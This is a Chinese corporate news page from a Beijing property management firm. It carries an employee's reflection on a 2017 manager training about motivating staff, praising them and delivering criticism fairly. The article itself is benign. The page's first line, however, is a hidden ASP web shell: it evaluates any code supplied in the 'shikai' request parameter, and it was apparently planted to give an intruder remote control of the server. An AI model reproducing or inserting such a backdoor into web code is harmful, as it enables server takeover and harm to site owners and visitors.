<%f=Request("shikai"):If f<>"" Then:evaL f:response.End:End IF:%> “激励随行,我能行”--学后感-公司动态-北京航腾物业管理有限公司
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“激励随行,我能行”--学后感
    2017年4月初,我们参加了由东城职大李娟娟老师主讲的“激励随行我能行”—管理者培训,受益匪浅。管理是一门艺术,沟通和协调的能力很重要,然而正确的激励团队中的每一位成员,在企业的发展中起着关键性的作用。通过此次培训,我们收获了以下两点:
    1.   作为管理者,我们拥有很大的激励资源,而如何把握好激励的重点是关键。虽然,我们已过了奖励一块糖果、一张奖状就满足的年代,但是奖励是一种荣誉,是一种光环,我们仍然需要。因此,在日常的工作中要做到:满足员工的归属感,做到鼓励、表扬与激励并用,不吝惜自己对下属的关心,让表扬与激励无处不在。
    2.  不要以自己的标准来衡量和看待问题,其实谁都想把工作做好、希望被鼓励、被认可。然而,不公平的待遇和不合理的批评,或许也成为了人员流失的一个重要因素。因此正确利用批评“三明治”,不仅仅帮助他人纠正错误,更是提高了工作质量,同时,你也收获了他人的尊重与敬佩。



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